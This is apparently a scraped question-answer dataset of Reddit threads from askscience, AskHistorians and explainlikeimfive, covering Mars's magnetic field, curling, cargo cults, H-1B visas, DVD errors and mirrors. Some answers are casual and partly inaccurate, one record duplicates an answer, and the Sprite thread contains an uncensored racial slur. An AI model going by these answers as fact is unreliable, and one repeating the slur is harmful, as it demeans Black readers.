{"q_id": "1bvt4o", "title": "Does a planet need an active core in order to sustain a decent magnetic field? If so, why bother with Mars? Isn't it inactive?", "selftext": "Active magnetic field would mean that the atmosphere has more protection from being stripped from the planet, doesn't it? As well as protection from space debris (asteroids, etc).\n\nAm I missing something?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1bvt4o/does_a_planet_need_an_active_core_in_order_to/", "answers": {"a_id": ["c9aj4bp", "c9ak5dm", "c9aljcz", "c9apww6"], "score": [4, 9, 8, 2], "text": ["As far as we can tell, Mars doesn't have a magnetic field. It is nearby and has decent conditions compared to the other terrestrial planets. The atmosphere (we need an artificial, oxygen containing one anyway) and space debris are problems we'd have to face were we to try to inhabit Mars, which I presume is what you meant.", "Well, our only other options are quite a bit worse.  I mean, you have Venus, hot enough to melt lead and raining acid.  Or the moon, with no air whatsoever.  Plus neither of those has a magnetic field either.  On Mars, you can at least top off an atmosphere every million years or so or whenever-assuming you have the capability to provide one in the first place, that should be easy.  It's all just talk at this stage anyway, though.", "Yes, an active core is needed to sustain a planetary magnetic field. It doesn't really protect from space debris but from solar radiation. The atmosphere of Mars does more for space debris protection. The atmosphere is thin because the magnetic field dissipated and solar radiation has been blasting it away. The next mission to Mars, MAVEN, is being sent to study this.\n\nIt's pretty easy to protect yourself from solar radiation with a bit of dirt. Just a few inches of it is enough to protect you from most of it.\n\nThe mission after MAVEN is InSight, which is going to be a geophysics mission to determine whether Mars' core is actually dead or not. There's some research/models showing Mars has a transient magnetic field still and the core hasn't completely cooled.", "The reconnaissance probes we have sent in to Venus melted.  There is no way to make a rover-style mission there.\n\nGetting closer to the sun isn't going to help things, by going to Mercury.\n\nSo, going further from the sun leaves Mars (a planet not terribly unlike our own) or the next stop (and near double the distance) would be Jupiter, which our probes have been sent into the atmosphere, only to be crushed under tremendous pressures."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "48ialz", "title": "Why did so many South American countries legalize homosexuality in the 1800s?", "selftext": "Why did so many South American countries legalize homosexuality in the 1800s? Did it have something to do with decolonization?\n\nSource:\n_URL_0_", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/48ialz/why_did_so_many_south_american_countries_legalize/", "answers": {"a_id": ["d0jziv1", "d0k3kkt", "d0k5z2o"], "score": [100, 935, 18], "text": ["As a side question, what started the illegalization of homosexuality in South America before this period in the 1800s? Was it a direct result of European colonization, or was there more at play?", "I can answer for my country, not sure if this will be removed because it won't answer your question totally but maybe it'll give some perspective (mods let me know if this breaks any rules and i'll remove it). Uruguay's constitution in 1830 states that (doing my best to translate here) \"Any man's private actions, that don't constitue an attack or disruption of public order and don't harm others will only be reserved to God and therefore exempt from the authority of judges\". The part referring to God was left out in the constitution of 1918 because of the separation between church and State. While the crime of \"Sodomy\" existed until 1934 it was listed under the crimes of rape and was only investigated if someone (\"the offended\") requested inquiry or was publicly noted as violent and or caused someone's death. \n\nSource: \"Homosexualidad, la visi\u00f3n social\" by historian Jos\u00e9 Pedro Barr\u00e1n. Published in revista relaciones 2005. [Spanish Link](_URL_0_)\n\nMy interpretation of what Barran writes and quotes from the criminal code of 1889 is that while homosexuality was in fact criminalized it was very rarely pursued as a criminal act on its own (when sex was consensual and between 15+ aged individuals). That being said, there's no denying that it was frowned upon socially and cultural condemnation of homosexuality persisted well into the twentieth century. ", "Does anyone know whether anti-clericalism in Latin America during this time period played into the legalization of homosexuality?"]}, "title_urls": [], "selftext_urls": ["https://www.unfe.org/en/actions/interactive-map"], "answers_urls": [[], ["http://www.chasque.net/frontpage/relacion/0106/homosexualidad.htm"], []]}
{"q_id": "7wi0dg", "title": "what are curlers screaming about?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7wi0dg/eli5_what_are_curlers_screaming_about/", "answers": {"a_id": ["du0hyes", "du0iqf6", "du0ojur", "du0v2cx"], "score": [12, 13, 32, 4], "text": ["The sweeper has a better view of the rock, but the rest of the team has a better view of the overall geometry.", "When you sweep a rock it does 2 things. It makes it go further and it makes it go straighter. Generally the Thrower and Skip call the line because they can get down low and look right down the ice. They will tell the sweepers to sweep if the rock is curling too much. The sweepers are in charge of making sure the rock goes far enough or that it has enough \"weight\". ", "Currently, you're watching mixed curling which has only two players per team. But regular team curling has four players per team which allows for one person to watch for **weight**, one person to watch for **line**, and two people to sweep.\n\n**Weight** is the speed of the rock. In other words, how far the stone will travel.\n\n**Line** is the angle/direction/curl of the rock. In other words, it judges the left/right accuracy of the rock.\n\nSweeping the ice in front of the rock has the effect of making the rock travel further for weight and straighter for line. So sometimes, the instructions to sweep or not sweep can conflict because one person is watching the weight and another person is watching the line.\n\nThe sweepers have their head down, running on the ice with broom in hand, sweeping the ice. They don't have time to look up, guess the trajectory of the rock, and then make an informed decision. [Image](_URL_1_)\n\nIt's one guy that can view the entire sheet of ice that can correctly project the trajectory of the rock. [Image](_URL_0_)\n\nInstructions like \"hurry\" or \"hard\" or \"yup\" is telling the sweeper to sweep. Instructions like \"whoa\" or \"no\" is telling the sweeper to not sweep. Sometimes you'll hear instructions like \"whoa for line\" means that you needn't sweep for line accuracy, but might need to sweep for weight accuracy.", "Dumb question: Can they sweep to make the rock go left or right? \n\nFollow-up dumb question: If so, do they do that because the initial push was imperfect, or do they do it because they plan ahead to make the rock move in a curved line, like maybe to sneak it in somewhere it couldn't go in a straight line?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://i.imgur.com/wCgV5cX.jpg", "https://i.imgur.com/GQjfNNW.jpg"], []]}
{"q_id": "2cwl9l", "title": "What happened to Cargo Cults after WWII was over?", "selftext": "I was reading about Cargo Cults forming as a result of air dropped supplies reaching native populations in the Pacific, and how they drastically changed those cultures. Obviously when the war ended the air dropped supplies stopped. Did the indigenous people revert to their previous practices? Did they think their God's had abandoned them? Did they all have a western/foreign figurehead? How did these societies adapt, or did they? \n\nThanks", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2cwl9l/what_happened_to_cargo_cults_after_wwii_was_over/", "answers": {"a_id": ["cjkbgve", "cjkbs3l"], "score": [6, 3], "text": ["I don't know if there has been a systematic historical study of all or even several of the \"Cargo Cults\", but they have not all died out.  The most vibrant one that I know about is the \"[John Frum movement](_URL_1_)\", but I think others made the transition to permanent movement as well.  Interestingly, on the same island, there's also the complimentary \"[Prince Philip Movement](_URL_0_)\".\n\nYou could see parallels to these movements in sightly more familiar religious movements, like Selassie in Rastafarianism (remember, \"Ras Tafari\" was Emperor Haile Selassie of Ethiopia's title/name before he stepped up to the throne... and he was a Oriental Orthodox until he died; he seemed rather confused by what the Rastafarian movement made him out to be).", "One of the more well known case study's of cargo cult comes from the island of Tanna in Vanuatu. It's called the John Frum cult.  The John Frum cult originated in the 1930s and is still present today.  The evolution of this cult is a well documented one.  There are numerous documentaries and memoirs from anthropologists online.\n\nIn short, the islanders slowly built a religion about this character named John Frum.  They hold parades for this man in the hopes he will return to the island and bring wealth to the islanders."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Prince_Philip_Movement", "http://en.wikipedia.org/wiki/John_Frum"], []]}
{"q_id": "2hwah5", "title": "Why was Walter Cronkite more famous than his CBS predecessor and his contemporaries at NBC and ABC?", "selftext": "What made Walter Cronkite \"the most trusted man in America\"?  Why was this title bestowed on him, rather than his CBS predecessor Douglas Edwards, or any NBC and ABC contemporaries?\n\nAlso, why haven't any anchorman since Cronkite (e.g. Dan Rather, Tom Brokaw, Ted Koppel) been able to reach the same level of fame?  \n\nSome of the assumptions I made in my questions may be incorrect.  Apologies if they are.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2hwah5/why_was_walter_cronkite_more_famous_than_his_cbs/", "answers": {"a_id": ["ckwlufh"], "score": [4], "text": ["He was a nationally syndicated nightly news Anchor for one of the biggest (at the time) news agencies, and had very little competition. The reason he was so trusted is because his reporting was very reliable, especially during major US events like the assassination of JFK, Watergate, and the Cuban Missile Crises. He had a calming baritone speaking voice and spoke at 124 words per minute to make sure everyone could understand him. \n\nA lot of things happened under his Tenure at CBS. One of which is he was the very first anchor of Americas first, half hour, nightly news segment. Most segments back then were 15 minutes, and CBS funded their news teams better than their competitors. \n\nYou also have to understand that Cronkite was the epitome of a \"news man\". He started in the news officially in 1935, but rose in stature during WWII. He become one of the best wire reporters during WWII. He was one of 8 journalists who was selected to fly bombing raids over Germany in a B-17 and even fired a machine gun at a German fighter. He made a glider landing with the 101st airborne during Operation Market-Garden, he also covered the battle of the bulge and the Nuremburg trials. \n\nCombine all of that, with the fact that cable TV wasn't what it is today, and there were no 24 hour cable news networks, made him a staple in a lot of households. He also crossed over in to \"popular culture\" because CBS allowed shows to poke fun at him, like Archie Bunker calling him \"pinko cronkite\". When things took a turn, he was always there, providing accurate and reliable reporting of the news and events, and always signing off with \"And that's the way it is\". \n\nAnecdotally, my parents and grand parents often talked about him, and were upset when he retired. \n\nAs to your other question, I would say Tom Brokaw has reached the level of fame that Cronkite did. Specifically because by time he retired, he was considered both in opinion polls and Nielson ratings to be the most popular news Anchor, and NBC Nightly News with Tom Brokaw was #1 from 1996 until he retired in 2004. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1t2qpx", "title": "why do hotels skip seemingly random room numbers?", "selftext": "I just noticed the hotel I work at doesn't have room #233 or #335. And all other hotels I've worked at have skipped over numbers as well. Does anybody know why they do this? Or is it unintentional?\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1t2qpx/eli5_why_do_hotels_skip_seemingly_random_room/", "answers": {"a_id": ["ce3qbwj"], "score": [20], "text": ["Could be for any number of reasons.\n\nHow does the layout of rooms on floor 2 and 3 compare to each other and floor 1/4? The hotel may opt to keep each floor's numbering as similar as possible vertically, even when one floor has more or less rooms\n\nRoom #233 could still be a room, just not a guest room. For consistency sake a lot of buildings that number rooms will assign a number to every room, including storage and utility areas.\n\nRoom #233 may have existed at one point but during a remodel was merged into an adjoining room or converted into something else.\n\nIt doesn't apply in your case but because 13 is considered unlucky by many people a lot of high-rise building don't have a \"floor 13\", and/or will only have rooms #1-12 and #14- on each floor.\n\nEdit: Formatting"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "jax2j", "title": "If you dropped a blow dryer into a pool would you kill everyone it it?", "selftext": "How about if you dropped it into a lake, how far would the 'sphere of death'  around it be? Can fish survive it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jax2j/if_you_dropped_a_blow_dryer_into_a_pool_would_you/", "answers": {"a_id": ["c2azyny", "c2azyny"], "score": [2, 2], "text": ["This is a really tricky question because it depends entirely on the pool.  Figuring out how much current someone in the vicinity would experience isn't a simple task.  It wouldn't be a 'sphere of death' so much as a 'path of death' as the current flows towards the nearest grounding it can find.  If you happen to be in the way you'll get a shock of some sort, but I don't know how you'd go about figuring out just how much current it would be without experimenting.\n\nYou're going to blow the fuse and/or breaker in a fraction of a second, so intuition tells me you'll be relatively safe as long as you aren't directly next to the blow dryer when it hits the water.  If you're in a pool and happen to be holding on to a metal ladder as the blow dryer falls in a few inches away you're probably in trouble, but if you're 10 feet away I wouldn't call it certain death.\n\nAs always with questions regarding electricity, don't actually go and depend on this information to save you.  Anyone who willingly puts themselves into a small body of water as someone tosses in a blow dryer to see if they will die deserve the Darwin Award they are vying for.", "This is a really tricky question because it depends entirely on the pool.  Figuring out how much current someone in the vicinity would experience isn't a simple task.  It wouldn't be a 'sphere of death' so much as a 'path of death' as the current flows towards the nearest grounding it can find.  If you happen to be in the way you'll get a shock of some sort, but I don't know how you'd go about figuring out just how much current it would be without experimenting.\n\nYou're going to blow the fuse and/or breaker in a fraction of a second, so intuition tells me you'll be relatively safe as long as you aren't directly next to the blow dryer when it hits the water.  If you're in a pool and happen to be holding on to a metal ladder as the blow dryer falls in a few inches away you're probably in trouble, but if you're 10 feet away I wouldn't call it certain death.\n\nAs always with questions regarding electricity, don't actually go and depend on this information to save you.  Anyone who willingly puts themselves into a small body of water as someone tosses in a blow dryer to see if they will die deserve the Darwin Award they are vying for."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "86s5kr", "title": "difference between character progression and character development.", "selftext": "It would be great if you could provide some examples from well known fiction.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/86s5kr/eli5_difference_between_character_progression_and/", "answers": {"a_id": ["dw7gjya", "dw7hqmz", "dw7s3fq"], "score": [16, 26, 2], "text": ["**Friends S1**\n*Joey* - Attractive womanising Italian out of work actor.\n*Chandler* - Possibly Gay/Possibly not roommate with daddy issues.\n\n**Friends S10**\n*Joey* - Attractive womanising Italian in work actor.\n*Chandler* - Married, living with his wife, adopted children.\n\n\nJoey made some progress.\nChandler\u2019s character developed. \n\nEdit: Didn\u2019t really put much thought or effort into this, but it\u2019s a great example from a single show.", "Character developement basically means that a character gets fleshed out, whereas character progression means that a character changes.\n\nI'll give examples from Harry Potter, since it's a fairly well-known story. Dumbledore doesn't have much character progression, his character is pretty much the same at the end of the story as it started out. However, he has a good amount of character developement, as we get to know his world view and his motivations, for example. Harry himself on the other hand gets more character progression than character developement - the story is more about him coming of age than it is about exploring his character. Not that he's undeveloped of course, but it's less of a focus for him.\n\nEssentially, characters progress, but they are developed.\n\nNote though that character progression is often wrongly used interchangably with character developement.", "Progression is limited to changes in a character's circumstances, usually tied to the plot.  Development is change in or revelation about the character's nature, usually in response to the plot.\n\nIn *Game of Thrones*, John Snow goes from ignored bastard to leader of men, a lot of progression.  But he is basically the same selfless do-gooder, so less development.\n\nArys, on the other hand, goes from naive little noble girl to cynical assassin, massive progression **and** development.\n\nIt is possible to have development without progression, but it is rarer and usually less interesting.  Development is usually a response to progression.\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6j52w8", "title": "what happens when an athlete throws out their arm?", "selftext": "In sports where players throw a ball, players who throw as hard as they can or improperly can potentially throw out their arm. This causes players to throw the ball at more reasonable speeds and practice having good form.\n\nWhat happens internally when this happens? Do muscles become loose? Is it a skeletal issue? And why does throwing the ball slower, or with good form, not cause it to happen?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6j52w8/eli5_what_happens_when_an_athlete_throws_out/", "answers": {"a_id": ["djbkypm", "djbo1li", "djbru77"], "score": [2, 2, 2], "text": ["Usually throwing out an arm means a dislocated shoulder. The joint literally pops out of the socket and needs to be repositioned.", "*not a doctor, just a 21 year old girl with crap joints... have had both shoulders operated on due to countless dislocations*\nIn my experiences, \"throwing out\" your shoulder (or any joint) is slang for dislocating the ball out of the socket. \nWhen that happens, there are a few things that can happen to the ligaments.\nThe most common is the stretching of the ligaments that are meant to keep that ball in socket. This injury leads to instability in the shoulder, and can easily lead to further dislocations. Physiotherapy and the lifting of free weights will generally help the shoulder heal, but in my experience.... the shoulder is never the same.\n\nAlso during a dislocation, more serious things can happen. \nTearing of ligaments, shattering of bone, pinching of nerves etc. \n\nIn my case, the tearing was so severe in my right shoulder that the surgeon had to place chunks of bone (from another part of my shoulder) to create a barrier to prevent the joint from separating. 4 months in a sling, physio for almost a year.....", "I'll stick to baseball pitchers, who are often called upon to throw 100 or more pitches in a game at speeds up to or exceeding 100mph. As if this alone doesn't cause enough stress on the shoulder/elbow/wrist, most pitchers mix so-called \"breaking balls\" (curves, sliders, screwballs) into their repertoire. These put either lateral spin or top spin on the ball and require extra snap or torsion forces on the arm. Besides muscle tears/strains, this often causes damage to the tendons of the shoulder and elbow. Look up \"Tommy John elbow surgery\". I don't know what the current thinking is, but when I was a lad curveballs were strongly discouraged for youth baseball pitchers. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4hsfw9", "title": "what is an h-1b visa, and what does the recent uncovering of the h-1b fraud scheme mean for the future?", "selftext": "I don't know too much about it but AFAIK isn't it a visa for people who want to work in the US? If so, what will happen if the US gets rid of the system? Thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4hsfw9/eli5_what_is_an_h1b_visa_and_what_does_the_recent/", "answers": {"a_id": ["d2rz6wp", "d2rzqzf", "d2s4pua"], "score": [54, 5, 12], "text": ["The H1-B visa is a type of work visa for people in certain high-skill positions, like software developers and engineers, to come work in the United States. There's only a limited number of these visas available every year, and the spots fill up very quickly.\n\nIn order to qualify for an H1-B visa, you need to have a job offer, that job offer needs to pay just as much as you would pay an American citizen, and the employer needs to have tried to hire American citizens but been unable to find any that meet the qualifications. The applicant also needs to have a college degree in a relevant field.\n\nThe visa is tied to the job offer, so if the employee gets fired, they have to go back to their home country (although if they get a new job within a set time frame, the new employer can file paperwork to get a new visa for the immigrant without having to go through the whole process). The fraud that was found is that people were creating fake jobs to get people over here.\n\nWhile some major companies, like Microsoft and Intel, use the H1-B to hire top talent from around the world and bring them to their US headquarters to work, there are also outsourcing and consulting companies that (ab)use the process. They file for tens of thousands of petitions for H1-B visas every year. They use different job titles for their employees than most of the big employers (like [\"computer programmer\"](_URL_0_) instead of [\"software developer\"](_URL_1_)) so that the official \"average salary\" is lower and they can pay them less than an American citizen would normally get paid for the same duties. Other companies will then fire their IT staff and hire the outsourcing company, effectively letting expensive American workers go and replacing them with cheap imported labor but without technically running afoul of immigration law.\n\nSo, what would happen if the visa was abolished? Well, the major tech companies would probably still hire those people, but they'd have them work in India, Ireland, Switzerland, or wherever they had permission to work instead of bringing them to the US. The outsourcing companies would probably have more trouble if their supply of cheap labor dried up. ", "H-1B is a visa that allows employers in the US to employ foreign highly-specialized workers in fields like engineering or medicine. Along with the H-1B application, employers must file a Labor Condition Application (LCA) to certify that the new hire will not be paid less than the current market wage in the US and that the hiring will not adversely affect the working condition of people already employed. These LCAs are made publicly available by the Department of Labor.\n\nSometimes, fake employers submit applications with forged documentation. A scheme like this was the one that was recently uncovered.\n\nWhat is far more common is real employers use various loopholes to get around the H1-B rules to lower the salary of the newly hired workers. One trick, for instance, is to give foreign software engineers the title of \"consultant\", which has a lower market salary.\n\nThe recent uncovering of H1-B fraud will likely make the program more criticized, especially given the anti-globalization sentiment of Sanders and Trump. \n\nGetting rid of H1-B would be a minor issue for companies who at worst might have to increase salaries a few thousand dollars. It would have a huge impact on well-educated foreigners hoping to come to the United States, who may decide to go to other developed countries.", "I read that Disney used this scheme, and hired a bunch of foreigners.  Disney forced their existing American employees to train their replacements, or they would be fired with no severance package.\n\n[Ahhh yes, here it is](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bls.gov/ooh/computer-and-information-technology/computer-programmers.htm", "http://www.bls.gov/ooh/computer-and-information-technology/software-developers.htm"], [], ["http://www.nytimes.com/2015/06/04/us/last-task-after-layoff-at-disney-train-foreign-replacements.html?_r=0"]]}
{"q_id": "cgudfi", "title": "why does jupiter look black / invisible from this picture?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cgudfi/eli5_why_does_jupiter_look_black_invisible_from/", "answers": {"a_id": ["eul60hs", "eul66tw"], "score": [3, 2], "text": ["That picture is taken from the shadow of Jupiter.  You're seeing the \"night\" side of Jupiter, except for a tiny curve of \"twilight\" Jupiter.", "Because you're looking at the night side of the planet.  Look at where the sun is in the photo; it's on the other side of Jupiter."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1qw73k", "title": "why can i get sent to jail for an adverse post on social media yet get away with saying anything i want in a song?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1qw73k/eli5why_can_i_get_sent_to_jail_for_an_adverse/", "answers": {"a_id": ["cdh6coq", "cdh6nyi", "cdha5si", "cdhd17m", "cdhoc0u"], "score": [6, 5, 5, 5, 3], "text": ["You can't be arrested for either unless it's an evident threat.", "What about examples such as these?\n\n_URL_1_\n\n_URL_0_", "Because lyrics are presumed to be fictitious, and social media is presumed to be autobiographical.  In any case, trawling social media or song for potential threats is a poor way to detect potential tragedies.", "In America, you can't unless it is a direct threat against someone, and even then, there would have to be some form of a legal review before a judge would issue an arrest warrant.\n\nAlso, and this is kind of important, at least here in the US when something like this could result in a first amendment challenge...being arrested does not mean you have been convicted. ", "At least one rapper has been put in jail for a drug offense with the primary evidence being his lyrics.\n\nFrom [this article](_URL_0_):\n\n > Take, as a recent example, Clyde Smith (aka \"G-Red\" or \"Tattoo Face\"), also from Louisiana. In December of 2010, Smith and three other people were pulled over when Smith was allegedly clocked going 19 mph over the speed limit. When he couldn't produce a driver's license, police searched his car and found him with the prescriptions drugs hydrocodone, Xanax and Soma, which he had purchased in neighboring Texas. Despite the fact that he had prescriptions for all of the drugs, that no pills were missing from any of the containers and that he had a documented medical condition that justified his use of the drugs, he was charged with possession with intent to distribute.\n\n > At trial the following May, the judge overruled vigorous objections from defense counsel and allowed the prosecutor to show the jury two YouTube videos. In one, a video for a song called \"B.M.F. Freestyle,\" Smith raps, \"Another trip to Texas ... we going doctor shopping.\" In another video, called \"Behind-the-Scenes,\" Smith -- still in character as G-Red, but talking instead of rapping -- insists to the camera that \"We really do the sh-- that we rap about. Like, we really take those trips.\" Although he took the stand and repeatedly claimed that his raps were fiction and intended to entertain, the predominantly white jury had seen all it needed.\n\n > Smith was found guilty and, because he had a prior record, was sentenced to a jaw-dropping 30 years in prison. According to Carolyn McNabb, his attorney, the rap lyrics were \"the primary motivator for the guilty verdict.\" Despite having a very strong defense, she knew that the YouTube videos were going to seal the outcome. \"I knew when the jury saw them, it was over,\" she said. \"That's why I fought so hard to keep them out.\"\n\nI'm not sure how I feel about that, all things considered."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.dailymail.co.uk/news/article-2330809/Lee-Rigby-death-11-people-UK-arrested-making-racist-anti-religious-comments-online-British-soldiers-death.html", "http://www.independent.co.uk/news/uk/home-news/twitter-joke-led-to-terror-act-arrest-and-airport-life-ban-1870913.html"], [], [], ["http://www.theroot.com/articles/politics/2012/07/rap_lyrics_on_trial_hiphop_scrutinized_in_court.html"]]}
{"q_id": "39m9pw", "title": "why is sprite marketed exclusively to the \"urban\" market?", "selftext": "Ever since the 90s, Sprite's advertising has always highlighted the \"urban\" market (aka, black). For example, their latest cans include lyrics from hip hop artists. Anyone know why? I'm guessing there is market research to back this up...", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/39m9pw/eli5_why_is_sprite_marketed_exclusively_to_the/", "answers": {"a_id": ["cs4j41o"], "score": [5], "text": ["They're trying to be the next grape drank\n\n\nWow - I just went to their site....I had no idea.\n\nI wish they use \"And if you don't know, now you know, nigga\" for notorious BIG.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "24vdp5", "title": "how come when a dvd skips, it doesn't just go to the next playable spot?", "selftext": "Every time I play a movie with one tiny-ass scratch on it, its skips, and there is basically no getting around it unless you go to scene selection and manually choose a scene after the scratched part. Its so irritating! Why wont they just skip over the scratch and play the next playable part?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/24vdp5/eli5_how_come_when_a_dvd_skips_it_doesnt_just_go/", "answers": {"a_id": ["chb59sp"], "score": [2], "text": ["\"They\" (being the DVD player, I assume) don't know what the next spot is.  A DVD player works by shooting a laser at a DVD and reading what is bounced back.  There is a thing called the Reed-Solomon Algorythim, which allows the DVD player to guess what will be read next.  Small scratches/dirt only destroy a little bit of data and Reed-Solomon is able to correctly guess what's missing.  Large scratches mess up so much data that Reed Solomon can't figure out what's next and instead output junk.  That junk is then fed to the algorythm again produces a lot more junk that the DVD player is smart enough to realize is junk and it knows there is an error of someo sort on the disc.  When it encounter that, it rereads the last bit of good data and trys again.  If the scratch is big enough, it keeps failing and trying again.  This fail, re-try, fail again, is what we call skipping\n\n::EDITED to clarify/make more sense::"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "94u8lh", "title": "Trying to understand why the An Lushan Rebellion happened: Why did power during the Tang dynasty become concentrated in the hands of the chief minister?", "selftext": "I am trying to understand what caused the An Lushan rebellion, and it looks as if one problem was the concentration of power in the hands of fewer and fewer people. Eventually,  the three central ministries, the Chancellery, and the Secretariat and the  Department of State Affairs didn't function as a system of checks and balances anymore and power became concentrated in the hand of the chief minister, Li Linfu, and later Yang Guozhong, whose policies were a cause for the An Lushan rebellion.  \n\nBut why were the different parts of the government weakened until power become concentrated in the hands of one chief minister? \n\n(I find it hard to believe that it's all the fault of emperor Xuanzong. )", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/94u8lh/trying_to_understand_why_the_an_lushan_rebellion/", "answers": {"a_id": ["e3riccq"], "score": [2], "text": ["Emperor Xuanzhong was difficult to analyze. In the first half of his reign, he built Tang to great heights but he also expanded its territory aggressively, in fact, the Tang expanded aggressively into what is now known as western china.\n\nThe second half was marked by bankrupt finances and rebellions.\n\nXuanzhong;s territorial expansion didn't end well; in the battle of Talas, his forces were defeated, it was an utter rout by the Abbasid Caliphate.\n\nAnother theory said Xuanzhong decentralized too much; he gave made the governors of the provinces the de-facto military commanders as well; in fact, he dissolved so much power that the provinces were literally rub by the military governors as their own personal kingdoms.\n\nAn Lushan was kind of a super-governor; he directly held 3 provinces. In a sense, Xuanzhong was responsible for\n\nYang Guozhong had a lot of conflict with An Lushan, and An probably felt slighted. Yang accused An of treason, although An may have been innocent.\n\nRemember, any one accused of treason in imperial china would have the entire bloodline executed, down to the last cousin, three generations up and three generations down. An may have been loyal but pushed into rebellion by Yang's accusation.\n\nPower and authority in imperial china was always personalized, but never institutionalized.\n\nIn an empire where politics are always personalized, a strong emperor would never allow a strong general or a strong chancellor.\n\nin turn, a strong general or a strong chancellor would not remain loyal for long, and they, in turn, would not allow a strong emperor.\n\nThere are no heroes or villians. What there are is powerful men with strong emotions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1odxho", "title": "How can mirrors exist at all? Aren't all surfaces 'rough' at a molecular/atomic level?", "selftext": "When I think of a photon of light hitting a surface, I imagine it running into a specific atom (or electron) on a surface, but even on a surface with evenly spaced atoms, isn't all the space in between atoms making a rough surface? Wouldn't the majority of light be trapped in and bounced around randomly in these empty spaces. Also, even if a photon directly hits an atom, how would it get re-emitted at the same angle it enters at when it could theoretically hit at any angle on the surface of the atom. From what I know, photons are absorbed, then quickly re-emitted by electrons, so how does an electron always re-emit it at this consistent reflected angle?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1odxho/how_can_mirrors_exist_at_all_arent_all_surfaces/", "answers": {"a_id": ["ccr3wsi", "ccr4jq5"], "score": [22, 2], "text": ["For a mirror to work well, it just needs to be smooth on the length scale of the wavelength of the light it is supposed to reflect. Have you ever seen a ripple on the surface of a pool being reflected by the wall? The wave gets reflected just fine even if the surface of the wall is rough, because the roughness is on a much smaller scale than the ripple's wavelength.\n\nVisible light has a wavelength of order a few hundred nanometers. A few hundred nanometers corresponds to a few thousand atomic radii, so a mirror surface can still have some roughness on scales smaller than a few thousand atomic radii and yet work fine as a mirror for visible light.\n\n >  When I think of a photon of light hitting a surface, I imagine it running into a specific atom (or electron) on a surface\n\nYour imagination is leading you astray. Here it's better to think of light as a wave. The particle description is more complicated in this instance. Feynman's book \"QED\" provides a nice description of how to think about mirrors in the context of a particle description of light. The photon actually hits *all* the atoms on the mirror, and the resulting reflections mostly cancel out except for the reflection angle you would normally expect. (I told you the wave description was easier.)", "You're right that a key factor in the performance of a mirror is the roughness of the surface compared the the wavelengths of the light it's reflecting. But your mental picture of what's going on is a bit off. What are these empty spaces between the atoms? Since,as you correctly note, photons interact with the electrons, not with the nucleus, your mental picture should really have the atoms as close together as they can get.\n\nAs for the mechanism of photons and electrons and the angles of reflection, I'll defer to someone who knows QED better than I do."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3zswlf", "title": "why does sniffing coffee beans help reset your smell?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3zswlf/eli5_why_does_sniffing_coffee_beans_help_reset/", "answers": {"a_id": ["cyow9m4"], "score": [8], "text": ["There is no actual \"reset: phenomena. You could literally smell anything else, say for instance dirt, or nail polish remover. Obviously stores won't place those products on their displays. But basically what you're doing when you smell coffee beans, is that you're forgetting the smell of whatever fragrance you sampled. Then when you smell a new fragrance, it alters your olfactories perception for the new smell."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
